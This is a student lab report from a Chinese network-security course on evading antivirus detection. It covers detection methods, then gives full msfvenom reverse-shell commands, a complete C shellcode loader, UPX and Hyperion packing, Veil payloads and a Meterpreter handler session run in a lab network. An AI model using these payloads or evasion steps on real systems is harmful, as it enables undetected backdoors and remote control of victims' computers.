《网络对抗技术》Exp3 免杀原理与实践
《网络对抗技术》Exp3 免杀原理与实践
基础知识
免杀
- 一般是对恶意软件做处理,让它不被杀毒软件所检测。也是渗透测试中需要使用到的技术。
- 要做好免杀,就时清楚杀毒软件(恶意软件检测工具)是如何工作的。AV(Anti-virus)是很大一个产业。其中主要的技术人员基本有编制恶意软件的经验。
- 反过来也一样,了解了免杀的工具和技术,你也就具有了反制它的基础。
恶意软件检测机制
基于特征码的检测
特征码:非常精确地识别文件,唯一地标识这个文件,同时在其他文件中没有。
特征库举例-Snort(开源--入侵检测系统)
- 简单来说一段特征码就是一段或多段数据。如果一个可执行文件(或其他运行的库、脚本等)包含这样的数据则被认为是恶意代码。
- AV软件厂商要做的就是尽量搜集最全的、最新的特征码库。所以杀毒软件的更新很重要。过时的特征码库就是没有用的库。
示例规则-wuftpd格式化字符串攻击检测规则。content后的就是特征码。
(检测数据包,是否存在攻击)
alert tcp $EXTERNAL_NET any -> $HOME_NET 21 (发现攻击,显示警告信息,tcp检测包————网络流量,外网、内网,端口any,完全匹配的话)
警告的内容
(msg:”FTP EXPLOIT wu-ftpd 2.6.0 site exec format string overflow Linux”;
检测的内容:
flow:to_server, established; content:”|31c031db31c9b046cd8031c031db|”;特征码
reference:bugtraq,1387;reference:cve, CAN-2000-0573;
classtype:attempted-admin;
sid:344;rev:4;)
- 重要的就是,恶意软件的检测,并不是比对整个文件,
- 而只能只其中一个或几个片断作为识别依据。
- 这就是最简单的特征码,或“signature”。
启发式恶意软件检测
对恶意软件检测来主说,就是如果一个软件在干通常是恶意软件干的事,看起来了像个恶意软件,那我们就把它当成一个恶意软件吧。典型的行为如连接恶意网站、开放端口、修改系统文件,典型的“外观”如文件本身签名、结构、厂商等信息等。各个厂商会定义自己的检测模式。
优点:
- 可以检测0-day恶意软件
- 具有一定通用性
缺点: - 实时监控系统行为,开销稍多
- 没有基于特征码的精确度高
基于行为的恶意软件检测
最开始提出启发式时,一般也是针对特征扫描的而言的,指通用的、多特征的、非精确的扫描,所以后来又提出了基于行为的。从理论上讲,基于行为的检测相当于是启发式的一种,或者是加入了行为监控的启发式。
免杀技术(Evading AV)综述
就常见恶意软件而言,一般AV的检出率为40%-98%。就算用了最好的AV,恶意软件依然有1/50的概率通过检测。
总体技术有:
-
改变特征码
- 如果你手里只有EXE
- 加壳:压缩壳 加密壳
把机器指令摘出来,使得无法识别,如果杀软识别的对象是壳是可以辨别出来的
- 加壳:压缩壳 加密壳
- 有shellcode(像Meterpreter)
- 用encode进行编码(写到别的可执行文件上,举例:异或一下)
- 基于payload重新编译生成可执行文件(用go、python等等编译,直到无法识别)
- 如果你手里只有EXE
-
有源代码
- 用其他语言进行重写再编译(veil-evasion)
-
改变行为
- 通讯方式
- 尽量使用反弹式连接
- 使用隧道技术
- 加密通讯数据
- 操作模式
- 基于内存操作
- 减少对系统的修改
- 加入混淆作用的正常功能代码
免杀就是让安插的后门不被AV软件发现。除了直接使用现有后门软件外,还有一些方式,在实际中也有用。
- 通讯方式
-
非常规方法
- 使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中。
- 使用社工类攻击,诱骗目标关闭AV软件。
- 纯手工打造一个恶意软件
-
留后门的思路是这样的:
- 写一个有漏洞的软件,开一个服务端口。这个软件本身没问题。然后如果这个端口被攻击,就可以获得系统控制权。
- 通过meterpreter这种驻留内存的payload,AV软件很难检出。
- 这样的小漏洞程序大家也有做,自己攻击自己还是很容易的。
- 当然最好的方法,还是手工打造,自己从头编一个,没有通用工具的特征,AV软件也就杀不出来了。
- 从头打造当然是相当有难度的,但我们可以利用Metasploit已有的payload来半手工的打造,效果也不错
- 写一个有漏洞的软件,开一个服务端口。这个软件本身没问题。然后如果这个端口被攻击,就可以获得系统控制权。
实践总结与体会
1.正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
- 在kali终端中,输入
msfvenom
查看该命令的参数详情,选用msfvenom -l encoders
查看编码器情况
- VirusTotal、Virscan
- 集成了60多个商业杀毒软件的扫描引擎。可以上传免杀处理过的程序进行检测。
- 如果上传的程序所有软件都杀不出来,virustotal就会把它交给AV厂商们了,然后...在杀毒库更新前,还可以使用一段时间。
- Virustatol不包括各AV软件的行为分析部分(behavioral analysis)。
- VirusTotal界面可能会频闪,注意及时截图(考验手速的时候到了),Virscan注意上传文件时不要有数字,否则界面将没有反应,并且无法检测jar文件
免杀检测
- 将实验二中生成的后门程序`20181211_backdoor.exe`(**在Virscan中扫描要重命名!!!**),使用VirusTotal或Virscan这两个网站对生成的后门程序进行扫描。
msfvenom直接生成meterpreter可执行文件,检出率为53/70。70个扫描引擎中有53中把它识别为病毒。我们以此为参照,看经过免杀处理的应用在Virustotal上的识别率高了还是低了。
目前状况下,不进行任何处理的后门程序,能很快地检测到。
Msfvenom使用编码器,生成exe文件
Msfvenom是Metasploit平台下用来编码payloads免杀的工具。以Metaspliot的知名度和普及度,一有新编码算法,马上就得加到特征库里。
编码后的后门程序,按理论上讲,编码会降低检出率,大不了多编码几次,总会检不出来。
- 进行一次编码:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.11.151 LPORT=1211 -f exe > met-encoded.exe
- 其中,
-e
选择编码器,-b payload
中需要去掉的字符badshell,因为shellcode以'\x00'为结束符,所以用此命令使'\x00'不出现在shellcode中,-f
表示format格式
- 事实上,基本没变化。检出率为54/69。69个扫描引擎中有54中把它识别为病毒。
- 其中,
- 进行十次编码:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.11.151 LPORT=1211 -f exe > met-encoded10.exe
- 其中,
-i
设置迭代次数
- 结果,仍旧基本没变化。检出率为52/69。69个扫描引擎中有52中把它识别为病毒。略有起伏,没实质变化。
- 其中,
- 原因:
- 编码器shikata_ga_nai总会有解码(decoder stub)部分需要加入的exe中,只要盯住这部分就可以了。
- msfvenom会以固定的模板生成exe,所有它生成的exe,如果使用默认参数或模板,有一定的固定特征。一般来说AV厂商会针对其使用的模板来生成特征码,这样就一劳永逸地解决所有msfvenom生成的恶意代码了。那如果使用msfvenom免杀,就要使用原生的模板。
Msfvenom使用编码器,生成jar文件
- 生成java后门程序使用命令:
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.11.151 LPORT=1211 x > srj_backdoor_java.jar
- 检出率为36/61。61个扫描引擎中有36中把它识别为病毒。相比之前,有较为明显的下降趋势。
- 检出率为36/61。61个扫描引擎中有36中把它识别为病毒。相比之前,有较为明显的下降趋势。
Msfvenom使用编码器,生成php文件
- 生成php后门程序使用命令:
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.11.151 LPORT=1211 x > 20181211_backdoor_php.php
- 检出率为18/58。58个扫描引擎中有36中把它识别为病毒。下降更为明显。
- 检出率为18/58。58个扫描引擎中有36中把它识别为病毒。下降更为明显。
Msfvenom使用编码器,生成Android后门apk文件
- 生成Android后门apk文件使用命令:
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.11.151 LPORT=1211 x > 20181211_backdoor_android.apk
- 检出率为33/64。64个扫描引擎中有33中把它识别为病毒。
- 检出率为33/64。64个扫描引擎中有33中把它识别为病毒。
2.使用veil-evasion生成后门程序及检测
-
安装veil,使用
sudo apt-get install veil-evasion
命令安装Veil,还会出现问题,根据自己不同的状况,参考不同的教程。克隆的过程非常慢,需要耐心等待。
-
使用命令
cd /usr/share/veil/config/
进入该文件夹 -
使用命令
vim setup.sh
编辑文件,第260行把github仓库改成码云的仓库,https://gitee.com/spears/VeilDependencies.git
,温馨提示:一定要保留网址和后面代码的那个空格,否则会出现问题,找不到该仓库,帮小毕同学看问题的时候发现的问题
-
进入veil的界面,进行安装,会弹出一堆安装界面,那些地址不用改,貌似是windows的版本号,安装的地址都是wins的模板。
-
安装完成,再次输入veil,报错了……
-
按照错误的提示,输入
/usr/share/veil/config/setup.sh --force --silent
,不是root模式的,中途会让我们输一次密码
-
在安装过程中,会有很多报错,但是实际检测下来,目前不影响我们后续的操作
-
输入
veil
,界面如图所示,就完成安装啦,可以进行后续的操作了
-
输入
use evasion
或者use 1
进入界面
-
输入
list
查看我们可以使用不同命令
-
生成不同的程序:
-
use c/meterpreter/rev_tcp.py
或者use 7
生成exe文件
-
use powershell/meterpreter/rev_tcp.py
或者use 22
生成bat文件
-
use python/meterpreter/rev_tcp.py
或者use 28
生成py文件
-
-
进入界面后输入:
-
set LHOST 192.168.11.151
-
set LPORT 1211
-
generate
-
输入文件名
-
观察保存的位置,进入VirusTotal检测
-
相比之前我们的检出率是有所下降的,检出率分别为38/70、32/58、5/59
-
-
3.使用C + shellcode编程,注入Shellcode并执行(嵌入式Shellcode)
-
使用命令:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.11.151 LPORT=1211 -f c
用c语言生成一段shellcode,将这段shellcode复制下来;
-
vim 1211.c
,将上面复制的代码,粘贴形成1211.c
unsigned char buf[] = "\xfc\xe8\x8f\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30" "\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff" "\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\x49" "\x75\xef\x52\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x57" "\x85\xc0\x74\x4c\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3" "\x85\xc9\x74\x3c\x31\xff\x49\x8b\x34\x8b\x01\xd6\x31\xc0\xc1" "\xcf\x0d\xac\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24" "\x75\xe0\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c" "\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59" "\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xe9\x80\xff\xff\xff\x5d" "\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26" "\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68" "\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\x0b\x97\x68\x02" "\x00\x04\xbb\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea" "\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74\x61" "\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67\x00\x00" "\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83" "\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a" "\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57" "\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x68\x00" "\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57\x68" "\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\x0f\x85\x70\xff" "\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6\x75\xc1\xc3\xbb" "\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5"; int main() { int (*func)() = (int(*)())buf; func(); }
-
i686-w64-mingw32-g++ 1211.c -o 1211.exe
生成exe文件
-
拖放到win10下,点击1211.exe,运行弹出错误,
locate libgcc_s_dw2-1.dll
,找到显示中文件的位置,拖放到win主机中
-
弹出了第二个错误,我没有找到对应的原因,但是根据同学的情况,
locate libwinpthread-1.dll
,找到显示中文件的位置,拖放到win主机中,即可执行。没有出现之前的错误,但是实验二留下的后门程序都开不出来了。
-
使用360安全卫士和360杀毒软件检测,没有被发现!
-
使用VirusTotal检测,检出率37/70
-
4.加壳
加壳是对相应的资源进行压缩,压缩后仍可运行。
加壳的程序需要阻止外部程序或软件对加壳程序本身的反汇编分析或者动态分析,以达到保护壳内原始程序以及软件不被外部程序破坏,保证原始程序正常运行。
它可以用来保护版权,但同时许多病毒也利用它来作为原理。
-
使用压缩壳(UPX)——减少应用体积,如ASPack,UPX
-
upx 1211.exe -o 1211upxed.exe
给之前生成的1211.exe使用压缩壳
-
360安全卫士和360杀软没有检测出问题,VirusTotal检测,检出率32/70,略有降低
-
反弹连接成功,免杀完成
-
-
加密壳Hyperion——版权保护,反跟踪,如ASProtect,Armadillo
-
将上一个生成的文件复制至
/usr/share/windows-resources/hyperion/
,并进入该目录,使用命令sudo cp 1211upx.exe /usr/share/windows-resources/hyperion/
(一定要sudo,文件目录位置只有root有读写权限)
-
在
/usr/share/windows-resources/hyperion/
下,输入命令sudo wine hyperion.exe -v 1211upx.exe 1211upxhyperion.exe
一定要sudo哦,否则没有权限会提示拒绝##
-
问题:
- 360安全卫士和360杀软可以检测出问题,[VirusTotal](https://www.virustotal.com/gui/)检测,检出率49/70,竟然反而提升了
- 比较上面两张情况,压缩壳能够实现免杀,而加密压缩壳不行,尝试直接加密壳
-
将1211.exe文件复制到复制至
/usr/share/windows-resources/hyperion/
,并进入该目录,使用命令sudo cp 1211.exe /usr/share/windows-resources/hyperion/
-
在
/usr/share/windows-resources/hyperion/
下,输入命令sudo wine hyperion.exe -v 1211.exe 1211hyperion.exe
-
360安全卫士和360杀软可以检测出问题,VirusTotal检测,检出率48/70,起伏不大
-
加密会导致熵过大,也就是信息过于密集,很容易被AV识别。改进可以在每个字节后门加上一个空字节,减小熵,让相应的解密程序忽略掉这个空字节,但实现起来难度太大。
-
通过组合应用各种技术实现恶意代码免杀
方法一
-
使用命令
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b '\x00' lhost=192.168.11.151 lport=1211 -f raw -o 1211.raw
生成raw文件,作为目标文件
-
将raw文件使用360安全卫士和360杀软没有检测出问题,VirusTotal检测,检出率10/52,相对较低
-
使用工具shellcode_launcher,注意下载时可能会被杀软杀掉,及时恢复,加入白名单或者添加信任
-
在kali虚拟机中,仿照实验二,使用
msfconsole
指令进入msf控制台,输入use exploit/multi/handler
使用监听模块,设置payload,set payload windows/meterpreter/reverse_tcp
,使用和生成后门程序时相同的payload,set LHOST 192.168.11.151
,这里用的是LinuxIP,和生成后门程序时指定的IP相同,set LPORT 1211
,同样要使用相同的端口,然后执行exploit
。 -
在cmd中进入shellcode_launcher对应文件夹下,并把1211.raw文件复制到该目录下,在cmd中执行
shellcode_launcher.exe -i 1211.raw
-
此时Kali上已经获得了windows主机的连接,并且得到了远程控制的shell
方法二
- 使用命令:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.11.151 LPORT=1211 -f c
用c语言生成一段shellcode,将这段shellcode复制下来;
vim 1211.c
,将上面复制的代码,粘贴形成1211.c
unsigned char buf[] = "\xfc\xe8\x8f\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30" ……省略 "\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5"; int main() { int (*func)() = (int(*)())buf; func(); }
i686-w64-mingw32-g++ 1211.c -o 1211.exe
生成exe文件
- 使用压缩壳(UPX)
upx 1211.exe -o 1211upxed.exe
给之前生成的1211.exe使用压缩壳- 360安全卫士和360杀软没有检测出问题,VirusTotal检测,检出率32/70,略有降低
附加题:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
本机电脑杀毒软件为360杀毒,版本号为5.0.0.8183,另一台电脑为20181318姜佳钰同学的电脑,杀毒软件为联想杀软。(我的wins的ip为192.168.1.243,对方kali的ip地址为192.168.1.114)
-
首先,一方将自己的虚拟机改为桥接模式,这时查找自己的地址是只有物理地址,点击编辑,点击虚拟网络编辑器,然后更改设置,就会有一个桥接模式的VMnet0出现,将桥接模式已桥接至改为Intel(R)Wireless-AC 9462,这是我们的无线网卡。然后在kali虚拟机中输入命令
sudo dhclient eth0
(根据自己实际情况进行修改)
-
此时即可查询我们虚拟机的ip地址,一方主机ping另一方的kali的IP地址,kali能ping通主机ip地址,前期工作即可完成
-
在kali虚拟机上输入
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b '\x00' lhost=192.168.1.114 lport=1211 -f raw -o 121118.raw
生成后门软件
-
wins主机上
ncat.exe -lv 1211 > 121118.raw
,kali上nc 192.168.1.243 1211 < 121118.raw
,成功传输后门
-
下面进行监听,使用
msfconsole
指令进入msf控制台,输入use exploit/multi/handler
使用监听模块,设置payload,set payload windows/meterpreter/reverse_tcp
,使用和生成后门程序时相同的payload,set LHOST 192.168.1.114
,这里用的是LinuxIP,和生成后门程序时指定的IP相同,set LPORT 1211
,同样要使用相同的端口,然后执行exploit
。
-
wins上输入
shellcode_launcher.exe -i 121118.raw
-
成功回连,完成免杀实验
基础问题回答
(1)杀软是如何检测出恶意代码的?
- 基于特征码的检测
- 特征码:非常精确地识别文件,唯一地标识这个文件,同时在其他文件中没有
- 特征码是一段或多段数据,如果一个可执行文件(或其他运行的库、脚本等)包含这样的数据则被认为是恶意代码。
- AV软件厂商要做的就是尽量搜集最全的、最新的特征码库。所以杀毒软件的更新很重要。过时的特征码库就是没有用的库。
- 重要的就是,恶意软件的检测,并不是比对整个文件,而只能只其中一个或几个片断作为识别依据。
- 特征库举例——SNORT
- 启发式恶意软件检测
- 根据片面特征去推断,通常缺乏精确判断依据。
- 对恶意软件检测来主说,就是如果一个软件在干通常是恶意软件干的事,看起来了像个恶意软件,那我们就把它当成一个恶意软件吧。典型的行为如连接恶意网站、开放端口、修改系统文件,典型的“外观”如文件本身签名、结构、厂商等信息等。各个厂商会定义自己的检测模式。
- 不需要及时更新,具有通用型;但实时监控系统行为开销稍大,没有基于特征码的精确度高
- 优点:
- 可以检测0-day恶意软件
- 具有一定通用性
- 缺点:
- 实时监控系统行为,开销稍多
- 没有基于特征码的精确度高
- 基于行为的恶意软件检测
- 最开始提出启发式时,一般也是针对特征扫描的而言的,指通用的、多特征的、非精确的扫描,所以后来又提出了基于行为的。从理论上讲,基于行为的检测相当于是启发式的一种,或者是加入了行为监控的启发式。
- 让软件运行,记录其行为并分析(杀软的工作原理)
(2)免杀是做什么?
免杀就是让安插的后门不被AV软件发现。通过一些手段,例如改变特征码,给exe文件加壳(压缩壳、加密壳),利用shellcode等等。
(3)免杀的基本方法有哪些?
-
改变特征码
- 如果你手里只有EXE
- 加壳:压缩壳 加密壳
把机器指令摘出来,使得无法识别,如果杀软识别的对象是壳是可以辨别出来的
- 加壳:压缩壳 加密壳
- 有shellcode(像Meterpreter)
- 用encode进行编码(写到别的可执行文件上,举例:异或一下)
- 基于payload重新编译生成可执行文件
使用go、python等等编译直到无法识别
- 如果你手里只有EXE
-
有源代码
- 用其他语言进行重写再编译(veil-evasion)
-
改变行为
- 通讯方式
- 尽量使用反弹式连接
- 使用隧道技术(代价高)
- 加密通讯数据
- 操作模式
- 基于内存操作
- 减少对系统的修改
- 加入混淆作用的正常功能代码
- 通讯方式
开启杀软能绝对防止电脑中恶意代码吗
不论是理论学习中,还是实际操作中,我们都不难得出结论开启杀软并不能够做到绝对防止电脑中恶意代码。只能说杀毒软件在不断更新自己的库,升级系统,尽可能地检测恶意代码,能够降低电脑主机中恶意代码的概率,但是当一段恶意代码刚刚出现,出现频率较低或者创造时十分严密谨慎,很大概率都是无法检测出来的。
实验总结与体会
在本次实验中,我们学习使用了各种方式生成后门,并进行比对,在安装veil时出现了一点小问题,但是查阅了资料,只需替换vim setup.sh
编辑文件,第260行把github仓库改成码云的仓库,https://gitee.com/spears/VeilDependencies.git
,出现了error,将提示中run后面的指令运行,成功解决问题,在室友的电脑上同样验证此方法非常可行简单。很多情况下出现的差错,可以通过提示解决。
自己的理解中压缩壳并加密壳理应比压缩壳更为难检测,但是事实上并不是,诸如此类的问题,猜想与实际会有差距。
通过实践,杀软和windows defender没有我们想象中的那么强大,我平时使用的360安全卫士并不安全,后面下载的360杀软相对专业,但是安全系数仍旧不高。所以在日常生活中,我们仍需提高警惕,尽可能从源头避免恶意代码进入电脑主机的可能性。